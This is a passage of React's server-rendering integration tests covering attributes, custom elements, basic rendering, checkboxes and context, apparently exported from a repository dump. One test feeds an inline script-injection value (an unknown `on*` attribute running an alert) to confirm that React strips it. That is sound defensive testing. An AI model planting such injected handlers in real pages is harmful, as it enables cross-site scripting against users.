expect(e.hasAttribute('download')).toBe(false);\n      });\n\n      itRenders('no download prop with function value', async render => {\n        const e = await render(<div download={function () {}} />, 1);\n        expect(e.hasAttribute('download')).toBe(false);\n      });\n\n      itRenders('no download prop with symbol value', async render => {\n        const e = await render(<div download={Symbol('foo')} />, 1);\n        expect(e.hasAttribute('download')).toBe(false);\n      });\n    });\n\n    describe('className property', function () {\n      itRenders('className prop with string value', async render => {\n        const e = await render(<div className=\"myClassName\" />);\n        expect(e.getAttribute('class')).toBe('myClassName');\n      });\n\n      itRenders('className prop with empty string value', async render => {\n        const e = await render(<div className=\"\" />);\n        expect(e.getAttribute('class')).toBe('');\n      });\n\n      itRenders('no className prop with true value', async render => {\n        const e = await render(<div className={true} />, 1);\n        expect(e.hasAttribute('class')).toBe(false);\n      });\n\n      itRenders('no className prop with false value', async render => {\n        const e = await render(<div className={false} />, 1);\n        expect(e.hasAttribute('class')).toBe(false);\n      });\n\n      itRenders('no className prop with null value', async render => {\n        const e = await render(<div className={null} />);\n        expect(e.hasAttribute('className')).toBe(false);\n      });\n\n      itRenders('badly cased className with a warning', async render => {\n        const e = await render(<div classname=\"test\" />, 1);\n        expect(e.hasAttribute('class')).toBe(false);\n        expect(e.hasAttribute('classname')).toBe(true);\n      });\n\n      itRenders(\n        'className prop when given the alias with a warning',\n        async render => {\n          const e = await render(<div class=\"test\" />, 1);\n          expect(e.className).toBe('test');\n        },\n      );\n\n      itRenders(\n        'className prop when given a badly cased alias',\n        async render => {\n          const e = await render(<div cLASs=\"test\" />, 1);\n          expect(e.className).toBe('test');\n        },\n      );\n    });\n\n    describe('htmlFor property', function () {\n      itRenders('htmlFor with string value', async render => {\n        const e = await render(<div htmlFor=\"myFor\" />);\n        expect(e.getAttribute('for')).toBe('myFor');\n      });\n\n      itRenders('no badly cased htmlfor', async render => {\n        const e = await render(<div htmlfor=\"myFor\" />, 1);\n        expect(e.hasAttribute('for')).toBe(false);\n        expect(e.getAttribute('htmlfor')).toBe('myFor');\n      });\n\n      itRenders('htmlFor with an empty string', async render => {\n        const e = await render(<div htmlFor=\"\" />);\n        expect(e.getAttribute('for')).toBe('');\n      });\n\n      itRenders('no htmlFor prop with true value', async render => {\n        const e = await render(<div htmlFor={true} />, 1);\n        expect(e.hasAttribute('for')).toBe(false);\n      });\n\n      itRenders('no htmlFor prop with false value', async render => {\n        const e = await render(<div htmlFor={false} />, 1);\n        expect(e.hasAttribute('for')).toBe(false);\n      });\n\n      itRenders('no htmlFor prop with null value', async render => {\n        const e = await render(<div htmlFor={null} />);\n        expect(e.hasAttribute('htmlFor')).toBe(false);\n      });\n    });\n\n    describe('numeric properties', function () {\n      itRenders(\n        'positive numeric property with positive value',\n        async render => {\n          const e = await render(<input size={2} />);\n          expect(e.getAttribute('size')).toBe('2');\n        },\n      );\n\n      itRenders('numeric property with zero value', async render => {\n        const e = await render(<ol start={0} />);\n        expect(e.getAttribute('start')).toBe('0');\n      });\n\n      itRenders(\n        'no positive numeric property with zero value',\n        async render => {\n          const e = await render(<input size={0} />);\n          expect(e.hasAttribute('size')).toBe(false);\n        },\n      );\n\n      itRenders('no numeric prop with function value', async render => {\n        const e = await render(<ol start={function () {}} />, 1);\n        expect(e.hasAttribute('start')).toBe(false);\n      });\n\n      itRenders('no numeric prop with symbol value', async render => {\n        const e = await render(<ol start={Symbol('foo')} />, 1);\n        expect(e.hasAttribute('start')).toBe(false);\n      });\n\n      itRenders(\n        'no positive numeric prop with function value',\n        async render => {\n          const e = await render(<input size={function () {}} />, 1);\n          expect(e.hasAttribute('size')).toBe(false);\n        },\n      );\n\n      itRenders('no positive numeric prop with symbol value', async render => {\n        const e = await render(<input size={Symbol('foo')} />, 1);\n        expect(e.hasAttribute('size')).toBe(false);\n      });\n    });\n\n    describe('props with special meaning in React', function () {\n      itRenders('no ref attribute', async render => {\n        class RefComponent extends React.Component {\n          render() {\n            return <div ref={React.createRef()} />;\n          }\n        }\n        const e = await render(<RefComponent />);\n        expect(e.getAttribute('ref')).toBe(null);\n      });\n\n      itRenders('no children attribute', async render => {\n        const e = await render(React.createElement('div', {}, 'foo'));\n        expect(e.getAttribute('children')).toBe(null);\n      });\n\n      itRenders('no key attribute', async render => {\n        const e = await render(<div key=\"foo\" />);\n        expect(e.getAttribute('key')).toBe(null);\n      });\n\n      itRenders('no dangerouslySetInnerHTML attribute', async render => {\n        const e = await render(\n          <div dangerouslySetInnerHTML={{__html: '<foo />'}} />,\n        );\n        expect(e.getAttribute('dangerouslySetInnerHTML')).toBe(null);\n      });\n\n      itRenders('no suppressContentEditableWarning attribute', async render => {\n        const e = await render(<div suppressContentEditableWarning={true} />);\n        expect(e.getAttribute('suppressContentEditableWarning')).toBe(null);\n      });\n\n      itRenders('no suppressHydrationWarning attribute', async render => {\n        const e = await render(<span suppressHydrationWarning={true} />);\n        expect(e.getAttribute('suppressHydrationWarning')).toBe(null);\n      });\n    });\n\n    describe('inline styles', function () {\n      itRenders('simple styles', async render => {\n        const e = await render(<div style={{color: 'red', width: '30px'}} />);\n        expect(e.style.color).toBe('red');\n        expect(e.style.width).toBe('30px');\n      });\n\n      itRenders('relevant styles with px', async render => {\n        const e = await render(\n          <div\n            style={{\n              left: 0,\n              margin: 16,\n              opacity: 0.5,\n              padding: '4px',\n            }}\n          />,\n        );\n        expect(e.style.left).toBe('0px');\n        expect(e.style.margin).toBe('16px');\n        expect(e.style.opacity).toBe('0.5');\n        expect(e.style.padding).toBe('4px');\n      });\n\n      itRenders('custom properties', async render => {\n        const e = await render(<div style={{'--foo': 5}} />);\n        expect(e.style.getPropertyValue('--foo')).toBe('5');\n      });\n\n      itRenders('camel cased custom properties', async render => {\n        const e = await render(<div style={{'--someColor': '#000000'}} />);\n        expect(e.style.getPropertyValue('--someColor')).toBe('#000000');\n      });\n\n      itRenders('no undefined styles', async render => {\n        const e = await render(\n          <div style={{color: undefined, width: '30px'}} />,\n        );\n        expect(e.style.color).toBe('');\n        expect(e.style.width).toBe('30px');\n      });\n\n      itRenders('no null styles', async render => {\n        const e = await render(<div style={{color: null, width: '30px'}} />);\n        expect(e.style.color).toBe('');\n        expect(e.style.width).toBe('30px');\n      });\n\n      itRenders('no empty styles', async render => {\n        const e = await render(<div style={{color: null, width: null}} />);\n        expect(e.style.color).toBe('');\n        expect(e.style.width).toBe('');\n        expect(e.hasAttribute('style')).toBe(false);\n      });\n\n      itRenders('unitless-number rules with prefixes', async render => {\n        const {style} = await render(\n          <div\n            style={{\n              lineClamp: 10,\n              // TODO: requires https://github.com/jsdom/cssstyle/pull/112\n              // WebkitLineClamp: 10,\n              // TODO: revisit once cssstyle or jsdom figures out\n              // if they want to support other vendors or not\n              // MozFlexGrow: 10,\n              // msFlexGrow: 10,\n              // msGridRow: 10,\n              // msGridRowEnd: 10,\n              // msGridRowSpan: 10,\n              // msGridRowStart: 10,\n              // msGridColumn: 10,\n              // msGridColumnEnd: 10,\n              // msGridColumnSpan: 10,\n              // msGridColumnStart: 10,\n            }}\n          />,\n        );\n\n        expect(style.lineClamp).toBe('10');\n        // see comment at inline styles above\n        // expect(style.WebkitLineClamp).toBe('10');\n        // expect(style.MozFlexGrow).toBe('10');\n        // jsdom is inconsistent in the style property name\n        // it uses on the client and when processing server markup.\n        // But it should be there either way.\n        //expect(style.MsFlexGrow || style.msFlexGrow).toBe('10');\n        // expect(style.MsGridRow || style.msGridRow).toBe('10');\n        // expect(style.MsGridRowEnd || style.msGridRowEnd).toBe('10');\n        // expect(style.MsGridRowSpan || style.msGridRowSpan).toBe('10');\n        // expect(style.MsGridRowStart || style.msGridRowStart).toBe('10');\n        // expect(style.MsGridColumn || style.msGridColumn).toBe('10');\n        // expect(style.MsGridColumnEnd || style.msGridColumnEnd).toBe('10');\n        // expect(style.MsGridColumnSpan || style.msGridColumnSpan).toBe('10');\n        // expect(style.MsGridColumnStart || style.msGridColumnStart).toBe('10');\n      });\n    });\n\n    describe('aria attributes', function () {\n      itRenders('simple strings', async render => {\n        const e = await render(<div aria-label=\"hello\" />);\n        expect(e.getAttribute('aria-label')).toBe('hello');\n      });\n\n      // this probably is just masking programmer error, but it is existing behavior.\n      itRenders('aria string prop with false value', async render => {\n        const e = await render(<div aria-label={false} />);\n        expect(e.getAttribute('aria-label')).toBe('false');\n      });\n\n      itRenders('no aria prop with null value', async render => {\n        const e = await render(<div aria-label={null} />);\n        expect(e.hasAttribute('aria-label')).toBe(false);\n      });\n\n      itRenders('\"aria\" attribute with a warning', async render => {\n        // Reserved for future use.\n        const e = await render(<div aria=\"hello\" />, 1);\n        expect(e.getAttribute('aria')).toBe('hello');\n      });\n    });\n\n    describe('cased attributes', function () {\n      itRenders(\n        'badly cased aliased HTML attribute with a warning',\n        async render => {\n          const e = await render(<form acceptcharset=\"utf-8\" />, 1);\n          expect(e.hasAttribute('accept-charset')).toBe(false);\n          expect(e.getAttribute('acceptcharset')).toBe('utf-8');\n        },\n      );\n\n      itRenders('badly cased SVG attribute with a warning', async render => {\n        const e = await render(\n          <svg>\n            <text textlength=\"10\" />\n          </svg>,\n          1,\n        );\n        // The discrepancy is expected as long as we emit a warning\n        // both on the client and the server.\n        if (render === clientCleanRender) {\n          // On the client, \"textlength\" is treated as a case-sensitive\n          // SVG attribute so the wrong attribute (\"textlength\") gets set.\n          expect(e.firstChild.getAttribute('textlength')).toBe('10');\n          expect(e.firstChild.hasAttribute('textLength')).toBe(false);\n        } else {\n          // When parsing HTML (including the hydration case), the browser\n          // correctly maps \"textlength\" to \"textLength\" SVG attribute.\n          // So it happens to work on the initial render.\n          expect(e.firstChild.getAttribute('textLength')).toBe('10');\n          expect(e.firstChild.hasAttribute('textlength')).toBe(false);\n        }\n      });\n\n      itRenders('no badly cased aliased SVG attribute alias', async render => {\n        const e = await render(\n          <svg>\n            <text strokedasharray=\"10 10\" />\n          </svg>,\n          1,\n        );\n        expect(e.firstChild.hasAttribute('stroke-dasharray')).toBe(false);\n        expect(e.firstChild.getAttribute('strokedasharray')).toBe('10 10');\n      });\n\n      itRenders(\n        'no badly cased original SVG attribute that is aliased',\n        async render => {\n          const e = await render(\n            <svg>\n              <text stroke-dasharray=\"10 10\" />\n            </svg>,\n            1,\n          );\n          expect(e.firstChild.getAttribute('stroke-dasharray')).toBe('10 10');\n        },\n      );\n    });\n\n    describe('unknown attributes', function () {\n      itRenders('unknown attributes', async render => {\n        const e = await render(<div foo=\"bar\" />);\n        expect(e.getAttribute('foo')).toBe('bar');\n      });\n\n      itRenders('unknown data- attributes', async render => {\n        const e = await render(<div data-foo=\"bar\" />);\n        expect(e.getAttribute('data-foo')).toBe('bar');\n      });\n\n      itRenders('badly cased reserved attributes', async render => {\n        const e = await render(<div CHILDREN=\"5\" />, 1);\n        expect(e.getAttribute('CHILDREN')).toBe('5');\n      });\n\n      itRenders('\"data\" attribute', async render => {\n        // For `<object />` acts as `src`.\n        const e = await render(<object data=\"hello\" />);\n        expect(e.getAttribute('data')).toBe('hello');\n      });\n\n      itRenders('no unknown data- attributes with null value', async render => {\n        const e = await render(<div data-foo={null} />);\n        expect(e.hasAttribute('data-foo')).toBe(false);\n      });\n\n      itRenders('unknown data- attributes with casing', async render => {\n        const e = await render(<div data-fooBar=\"true\" />, 1);\n        expect(e.getAttribute('data-foobar')).toBe('true');\n      });\n\n      itRenders('unknown data- attributes with boolean true', async render => {\n        const e = await render(<div data-foobar={true} />);\n        expect(e.getAttribute('data-foobar')).toBe('true');\n      });\n\n      itRenders('unknown data- attributes with boolean false', async render => {\n        const e = await render(<div data-foobar={false} />);\n        expect(e.getAttribute('data-foobar')).toBe('false');\n      });\n\n      itRenders(\n        'no unknown data- attributes with casing and null value',\n        async render => {\n          const e = await render(<div data-fooBar={null} />, 1);\n          expect(e.hasAttribute('data-foobar')).toBe(false);\n        },\n      );\n\n      itRenders('custom attributes for non-standard elements', async render => {\n        // This test suite generally assumes that we get exactly\n        // the same warnings (or none) for all scenarios including\n        // SSR + innerHTML, hydration, and client-side rendering.\n        // However this particular warning fires only when creating\n        // DOM nodes on the client side. We force it to fire early\n        // so that it gets deduplicated later, and doesn't fail the test.\n        ReactDOM.flushSync(() => {\n          const root = ReactDOMClient.createRoot(document.createElement('div'));\n          root.render(<nonstandard />);\n        });\n        assertConsoleErrorDev([\n          'The tag <nonstandard> is unrecognized in this browser. ' +\n            'If you meant to render a React component, start its name with an uppercase letter.\\n' +\n            '    in nonstandard (at **)',\n        ]);\n\n        const e = await render(<nonstandard foo=\"bar\" />);\n        expect(e.getAttribute('foo')).toBe('bar');\n      });\n\n      itRenders('SVG tags with dashes in them', async render => {\n        const e = await render(\n          <svg>\n            <font-face accentHeight={10} />\n          </svg>,\n        );\n        expect(e.firstChild.hasAttribute('accentHeight')).toBe(false);\n        expect(e.firstChild.getAttribute('accent-height')).toBe('10');\n      });\n\n      itRenders('cased custom attributes', async render => {\n        const e = await render(<div fooBar=\"test\" />, 1);\n        expect(e.getAttribute('foobar')).toBe('test');\n      });\n    });\n\n    itRenders('no HTML events', async render => {\n      const e = await render(<div onClick={() => {}} />);\n      expect(e.getAttribute('onClick')).toBe(null);\n      expect(e.getAttribute('onClick')).toBe(null);\n      expect(e.getAttribute('click')).toBe(null);\n    });\n\n    itRenders('no unknown events', async render => {\n      const e = await render(<div onunknownevent='alert(\"hack\")' />, 1);\n      expect(e.getAttribute('onunknownevent')).toBe(null);\n    });\n\n    itRenders('custom attribute named `on`', async render => {\n      const e = await render(<div on=\"tap:do-something\" />);\n      expect(e.getAttribute('on')).toEqual('tap:do-something');\n    });\n  });\n\n  // These tests mostly verify the existing behavior.\n  // It may not always make sense but we can't change it in minors.\n  describe('custom elements', () => {\n    itRenders('class for custom elements', async render => {\n      const e = await render(<div is=\"custom-element\" class=\"test\" />, 0);\n      expect(e.getAttribute('class')).toBe('test');\n    });\n\n    itRenders('className for is elements', async render => {\n      const e = await render(<div is=\"custom-element\" className=\"test\" />, 0);\n      expect(e.getAttribute('className')).toBe(null);\n      expect(e.getAttribute('class')).toBe('test');\n    });\n\n    itRenders('className for custom elements', async render => {\n      const e = await render(<custom-element className=\"test\" />, 0);\n      expect(e.getAttribute('className')).toBe(null);\n      expect(e.getAttribute('class')).toBe('test');\n    });\n\n    itRenders('htmlFor property on is elements', async render => {\n      const e = await render(<div is=\"custom-element\" htmlFor=\"test\" />);\n      expect(e.getAttribute('htmlFor')).toBe(null);\n      expect(e.getAttribute('for')).toBe('test');\n    });\n\n    itRenders('htmlFor attribute on custom elements', async render => {\n      const e = await render(<custom-element htmlFor=\"test\" />);\n      expect(e.getAttribute('htmlFor')).toBe('test');\n      expect(e.getAttribute('for')).toBe(null);\n    });\n\n    itRenders('for attribute on custom elements', async render => {\n      const e = await render(<div is=\"custom-element\" for=\"test\" />);\n      expect(e.getAttribute('htmlFor')).toBe(null);\n      expect(e.getAttribute('for')).toBe('test');\n    });\n\n    itRenders('unknown attributes for custom elements', async render => {\n      const e = await render(<custom-element foo=\"bar\" />);\n      expect(e.getAttribute('foo')).toBe('bar');\n    });\n\n    itRenders('unknown `on*` attributes for custom elements', async render => {\n      const e = await render(<custom-element onunknown=\"bar\" />);\n      expect(e.getAttribute('onunknown')).toBe('bar');\n    });\n\n    itRenders('unknown boolean `true` attributes as strings', async render => {\n      const e = await render(<custom-element foo={true} />);\n      expect(e.getAttribute('foo')).toBe('');\n    });\n\n    itRenders('unknown boolean `false` attributes as strings', async render => {\n      const e = await render(<custom-element foo={false} />);\n      expect(e.getAttribute('foo')).toBe(null);\n    });\n\n    itRenders('new boolean `true` attributes', async render => {\n      const element = await render(<div inert={true} />, 0);\n\n      expect(element.getAttribute('inert')).toBe('');\n    });\n\n    itRenders('new boolean `\"\"` attributes', async render => {\n      const element = await render(\n        <div inert=\"\" />,\n        // Warns since this used to render `inert=\"\"` like `inert={true}`\n        // but now renders it like `inert={false}`.\n        1,\n      );\n\n      expect(element.getAttribute('inert')).toBe(null);\n    });\n\n    itRenders('new boolean `false` attributes', async render => {\n      const element = await render(<div inert={false} />, 0);\n\n      expect(element.getAttribute('inert')).toBe(null);\n    });\n\n    itRenders(\n      'no unknown attributes for custom elements with null value',\n      async render => {\n        const e = await render(<custom-element foo={null} />);\n        expect(e.hasAttribute('foo')).toBe(false);\n      },\n    );\n\n    itRenders(\n      'unknown attributes for custom elements using is',\n      async render => {\n        const e = await render(<div is=\"custom-element\" foo=\"bar\" />);\n        expect(e.getAttribute('foo')).toBe('bar');\n      },\n    );\n\n    itRenders(\n      'no unknown attributes for custom elements using is with null value',\n      async render => {\n        const e = await render(<div is=\"custom-element\" foo={null} />);\n        expect(e.hasAttribute('foo')).toBe(false);\n      },\n    );\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMServerIntegrationBasic-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment\n */\n\n'use strict';\n\nconst ReactDOMServerIntegrationUtils = require('./utils/ReactDOMServerIntegrationTestUtils');\n\nconst TEXT_NODE_TYPE = 3;\n\nlet React;\nlet ReactDOMClient;\nlet ReactDOMServer;\n\nfunction initModules() {\n  // Reset warning cache.\n  jest.resetModules();\n  React = require('react');\n  ReactDOMClient = require('react-dom/client');\n  ReactDOMServer = require('react-dom/server');\n\n  // Make them available to the helpers.\n  return {\n    ReactDOMClient,\n    ReactDOMServer,\n  };\n}\n\nconst {resetModules, itRenders} = ReactDOMServerIntegrationUtils(initModules);\n\ndescribe('ReactDOMServerIntegration', () => {\n  beforeEach(() => {\n    resetModules();\n  });\n\n  describe('basic rendering', function () {\n    itRenders('a blank div', async render => {\n      const e = await render(<div />);\n      expect(e.tagName).toBe('DIV');\n    });\n\n    itRenders('a self-closing tag', async render => {\n      const e = await render(<br />);\n      expect(e.tagName).toBe('BR');\n    });\n\n    itRenders('a self-closing tag as a child', async render => {\n      const e = await render(\n        <div>\n          <br />\n        </div>,\n      );\n      expect(e.childNodes.length).toBe(1);\n      expect(e.firstChild.tagName).toBe('BR');\n    });\n\n    itRenders('a string', async render => {\n      const e = await render('Hello');\n      expect(e.nodeType).toBe(3);\n      expect(e.nodeValue).toMatch('Hello');\n    });\n\n    itRenders('a number', async render => {\n      const e = await render(42);\n      expect(e.nodeType).toBe(3);\n      expect(e.nodeValue).toMatch('42');\n    });\n\n    itRenders('a bigint', async render => {\n      const e = await render(42n);\n      expect(e.nodeType).toBe(3);\n      expect(e.nodeValue).toMatch('42');\n    });\n\n    itRenders('an array with one child', async render => {\n      const e = await render([<div key={1}>text1</div>]);\n      const parent = e.parentNode;\n      expect(parent.childNodes[0].tagName).toBe('DIV');\n    });\n\n    itRenders('an array with several children', async render => {\n      const Header = props => {\n        return <p>header</p>;\n      };\n      const Footer = props => {\n        return [<h2 key={1}>footer</h2>, <h3 key={2}>about</h3>];\n      };\n      const e = await render([\n        <div key={1}>text1</div>,\n        <span key={2}>text2</span>,\n        <Header key={3} />,\n        <Footer key={4} />,\n      ]);\n      const parent = e.parentNode;\n      expect(parent.childNodes[0].tagName).toBe('DIV');\n      expect(parent.childNodes[1].tagName).toBe('SPAN');\n      expect(parent.childNodes[2].tagName).toBe('P');\n      expect(parent.childNodes[3].tagName).toBe('H2');\n      expect(parent.childNodes[4].tagName).toBe('H3');\n    });\n\n    itRenders('a nested array', async render => {\n      const e = await render([\n        [<div key={1}>text1</div>],\n        <span key={1}>text2</span>,\n        [[[null, <p key={1} />], false]],\n      ]);\n      const parent = e.parentNode;\n      expect(parent.childNodes[0].tagName).toBe('DIV');\n      expect(parent.childNodes[1].tagName).toBe('SPAN');\n      expect(parent.childNodes[2].tagName).toBe('P');\n    });\n\n    itRenders('an iterable', async render => {\n      const threeDivIterable = {\n        '@@iterator': function () {\n          let i = 0;\n          return {\n            next: function () {\n              if (i++ < 3) {\n                return {value: <div key={i} />, done: false};\n              } else {\n                return {value: undefined, done: true};\n              }\n            },\n          };\n        },\n      };\n      const e = await render(threeDivIterable);\n      const parent = e.parentNode;\n      expect(parent.childNodes.length).toBe(3);\n      expect(parent.childNodes[0].tagName).toBe('DIV');\n      expect(parent.childNodes[1].tagName).toBe('DIV');\n      expect(parent.childNodes[2].tagName).toBe('DIV');\n    });\n\n    itRenders('emptyish values', async render => {\n      const e = await render(0);\n      expect(e.nodeType).toBe(TEXT_NODE_TYPE);\n      expect(e.nodeValue).toMatch('0');\n\n      // Empty string is special because client renders a node\n      // but server returns empty HTML. So we compare parent text.\n      expect((await render(<div>{''}</div>)).textContent).toBe('');\n\n      expect(await render([])).toBe(null);\n      expect(await render(false)).toBe(null);\n      expect(await render(true)).toBe(null);\n      expect(await render([[[false]], undefined])).toBe(null);\n\n      // hydrateRoot errors for undefined children.\n      expect(await render(undefined, 1)).toBe(null);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMServerIntegrationCheckbox-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment\n */\n\n'use strict';\n\nconst ReactDOMServerIntegrationUtils = require('./utils/ReactDOMServerIntegrationTestUtils');\n// Set by `yarn test-fire`.\nconst {disableInputAttributeSyncing} = require('shared/ReactFeatureFlags');\n\nlet React;\nlet ReactDOMClient;\nlet ReactDOMServer;\n\nfunction initModules() {\n  // Reset warning cache.\n  jest.resetModules();\n  React = require('react');\n  ReactDOMClient = require('react-dom/client');\n  ReactDOMServer = require('react-dom/server');\n\n  // Make them available to the helpers.\n  return {\n    ReactDOMClient,\n    ReactDOMServer,\n  };\n}\n\nconst {resetModules, itRenders} = ReactDOMServerIntegrationUtils(initModules);\n\n// TODO: Run this in React Fire mode after we figure out the SSR behavior.\nconst desc = disableInputAttributeSyncing ? xdescribe : describe;\ndesc('ReactDOMServerIntegrationCheckbox', () => {\n  beforeEach(() => {\n    resetModules();\n  });\n\n  itRenders('a checkbox that is checked with an onChange', async render => {\n    const e = await render(\n      <input type=\"checkbox\" checked={true} onChange={() => {}} />,\n    );\n    expect(e.checked).toBe(true);\n  });\n\n  itRenders('a checkbox that is checked with readOnly', async render => {\n    const e = await render(\n      <input type=\"checkbox\" checked={true} readOnly={true} />,\n    );\n    expect(e.checked).toBe(true);\n  });\n\n  itRenders(\n    'a checkbox that is checked and no onChange/readOnly',\n    async render => {\n      // this configuration should raise a dev warning that checked without\n      // onChange or readOnly is a mistake.\n      const e = await render(<input type=\"checkbox\" checked={true} />, 1);\n      expect(e.checked).toBe(true);\n    },\n  );\n\n  itRenders('a checkbox with defaultChecked', async render => {\n    const e = await render(<input type=\"checkbox\" defaultChecked={true} />);\n    expect(e.checked).toBe(true);\n    expect(e.getAttribute('defaultChecked')).toBe(null);\n  });\n\n  itRenders('a checkbox checked overriding defaultChecked', async render => {\n    const e = await render(\n      <input\n        type=\"checkbox\"\n        checked={true}\n        defaultChecked={false}\n        readOnly={true}\n      />,\n      1,\n    );\n    expect(e.checked).toBe(true);\n    expect(e.getAttribute('defaultChecked')).toBe(null);\n  });\n\n  itRenders(\n    'a checkbox checked overriding defaultChecked no matter the prop order',\n    async render => {\n      const e = await render(\n        <input\n          type=\"checkbox\"\n          defaultChecked={false}\n          checked={true}\n          readOnly={true}\n        />,\n        1,\n      );\n      expect(e.checked).toBe(true);\n      expect(e.getAttribute('defaultChecked')).toBe(null);\n    },\n  );\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMServerIntegrationClassContextType-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment\n */\n\n'use strict';\n\nconst ReactDOMServerIntegrationUtils = require('./utils/ReactDOMServerIntegrationTestUtils');\n\nlet React;\nlet ReactDOMClient;\nlet ReactDOMServer;\n\nfunction initModules() {\n  // Reset warning cache.\n  jest.resetModules();\n  React = require('react');\n  ReactDOMClient = require('react-dom/client');\n  ReactDOMServer = require('react-dom/server');\n\n  // Make them available to the helpers.\n  return {\n    ReactDOMClient,\n    ReactDOMServer,\n  };\n}\n\nconst {resetModules, itRenders} = ReactDOMServerIntegrationUtils(initModules);\n\ndescribe('ReactDOMServerIntegration', () => {\n  beforeEach(() => {\n    resetModules();\n  });\n\n  describe('class contextType', function () {\n    let PurpleContext, RedContext, Context;\n    beforeEach(() => {\n      Context = React.createContext('none');\n\n      class Parent extends React.Component {\n        render() {\n          return (\n            <Context.Provider value={this.props.text}>\n              {this.props.children}\n            </Context.Provider>\n          );\n        }\n      }\n      PurpleContext = props => <Parent text=\"purple\">{props.children}</Parent>;\n      RedContext = props => <Parent text=\"red\">{props.children}</Parent>;\n    });\n\n    itRenders('class child with context', async render => {\n      class ClassChildWithContext extends React.Component {\n        static contextType = Context;\n        render() {\n          const text = this.context;\n          return <div>{text}</div>;\n        }\n      }\n\n      const e = await render(\n        <PurpleContext>\n          <ClassChildWithContext />\n        </PurpleContext>,\n      );\n      expect(e.textContent).toBe('purple');\n    });\n\n    itRenders('class child without context', async render => {\n      class ClassChildWithoutContext extends React.Component {\n        render() {\n          // this should render blank; context isn't passed to this component.\n          return (\n            <div>{typeof this.context === 'string' ? this.context : ''}</div>\n          );\n        }\n      }\n\n      const e = await render(\n        <PurpleContext>\n          <ClassChildWithoutContext />\n        </PurpleContext>,\n      );\n      expect(e.textContent).toBe('');\n    });\n\n    itRenders('class child with wrong context', async render => {\n      class ClassChildWithWrongContext extends React.Component {\n        static contextType = Context;\n        render() {\n          // this should render blank; context.foo isn't passed to this component.\n          return <div id=\"classWrongChild\">{this.context.foo}</div>;\n        }\n      }\n\n      const e = await render(\n        <PurpleContext>\n          <ClassChildWithWrongContext />\n        </PurpleContext>,\n      );\n      expect(e.textContent).toBe('');\n    });\n\n    itRenders('with context passed through to a grandchild', async render => {\n      class Grandchild extends React.Component {\n        static contextType = Context;\n        render() {\n          return <div>{this.context}</div>;\n        }\n      }\n\n      const Child = props => <Grandchild />;\n\n      const e = await render(\n        <PurpleContext>\n          <Child />\n        </PurpleContext>,\n      );\n      expect(e.textContent).toBe('purple');\n    });\n\n    itRenders('a child context overriding a parent context', async render => {\n      class Grandchild extends React.Component {\n        static contextType = Context;\n        render() {\n          return <div>{this.context}</div>;\n        }\n      }\n\n      const e = await render(\n        <PurpleContext>\n          <RedContext>\n            <Grandchild />\n          </RedContext>\n        </PurpleContext>,\n      );\n      expect(e.textContent).toBe('red');\n    });\n\n    itRenders('multiple contexts', async render => {\n      const Theme = React.createContext('dark');\n      const Language = React.createContext('french');\n      class Parent extends React.Component {\n        render() {\n          return (\n            <Theme.Provider value=\"light\">\n              <Child />\n            </Theme.Provider>\n          );\n        }\n      }\n\n      function Child() {\n        return (\n          <Language.Provider value=\"english\">\n            <Grandchild />\n          </Language.Provider>\n        );\n      }\n\n      class ThemeComponent extends React.Component {\n        static contextType = Theme;\n        render() {\n          return <div id=\"theme\">{this.context}</div>;\n        }\n      }\n\n      class LanguageComponent extends React.Component {\n        static contextType = Language;\n        render() {\n          return <div id=\"language\">{this.context}</div>;\n        }\n      }\n\n      const Grandchild = props => {\n        return (\n          <div>\n            <ThemeComponent />\n            <LanguageComponent />\n          </div>\n        );\n      };\n\n      const e = await render(<Parent />);\n      expect(e.querySelector('#theme').textContent).toBe('light');\n      expect(e.querySelector('#language').textContent).toBe('english');\n    });\n\n    itRenders('nested context unwinding', async render => {\n      const Theme = React.createContext('dark');\n      const Language = React.createContext('french');\n\n      class ThemeConsumer extends React.Component {\n        static contextType = Theme;\n        render() {\n          return this.props.children(this.context);\n        }\n      }\n\n      class LanguageConsumer extends React.Component {\n        static contextType = Language;\n        render() {\n          return this.props.children(this.context);\n        }\n      }\n\n      const App = () => (\n        <div>\n          <Theme.Provider value=\"light\">\n            <Language.Provider value=\"english\">\n              <Theme.Provider value=\"dark\">\n                <ThemeConsumer>\n                  {theme => <div id=\"theme1\">{theme}</div>}\n                </ThemeConsumer>\n              </Theme.Provider>\n              <ThemeConsumer>\n                {theme => <div id=\"theme2\">{theme}</div>}\n              </ThemeConsumer>\n              <Language.Provider value=\"sanskrit\">\n                <Theme.Provider value=\"blue\">\n                  <Theme.Provider value=\"red\">\n                    <LanguageConsumer>\n                      {() => (\n                        <Language.Provider value=\"chinese\">\n                          <Language.Provider value=\"hungarian\" />\n                          <LanguageConsumer>\n                            {language => <div id=\"language1\">{language}</div>}\n                          </LanguageConsumer>\n                        </Language.Provider>\n                      )}\n                    </LanguageConsumer>\n                  </Theme.Provider>\n                  <LanguageConsumer>\n                    {language => (\n                      <>\n                        <ThemeConsumer>\n                          {theme => <div id=\"theme3\">{theme}</div>}\n                        </ThemeConsumer>\n                        <div id=\"language2\">{language}</div>\n                      </>\n                    )}\n                  </LanguageConsumer>\n                </Theme.Provider>\n              </Language.Provider>\n            </Language.Provider>\n          </Theme.Provider>\n          <LanguageConsumer>\n            {language => <div id=\"language3\">{language}</div>}\n          </LanguageConsumer>\n        </div>\n      );\n      const e = await render(<App />);\n      expect(e.querySelector('#theme1').textContent).toBe('dark');\n      expect(e.querySelector('#theme2').textContent).toBe('light');\n      expect(e.querySelector('#theme3').textContent).toBe('blue');\n      expect(e.querySelector('#language1').textContent).toBe('chinese');\n      expect(e.querySelector('#language2').textContent).toBe('sanskrit');\n      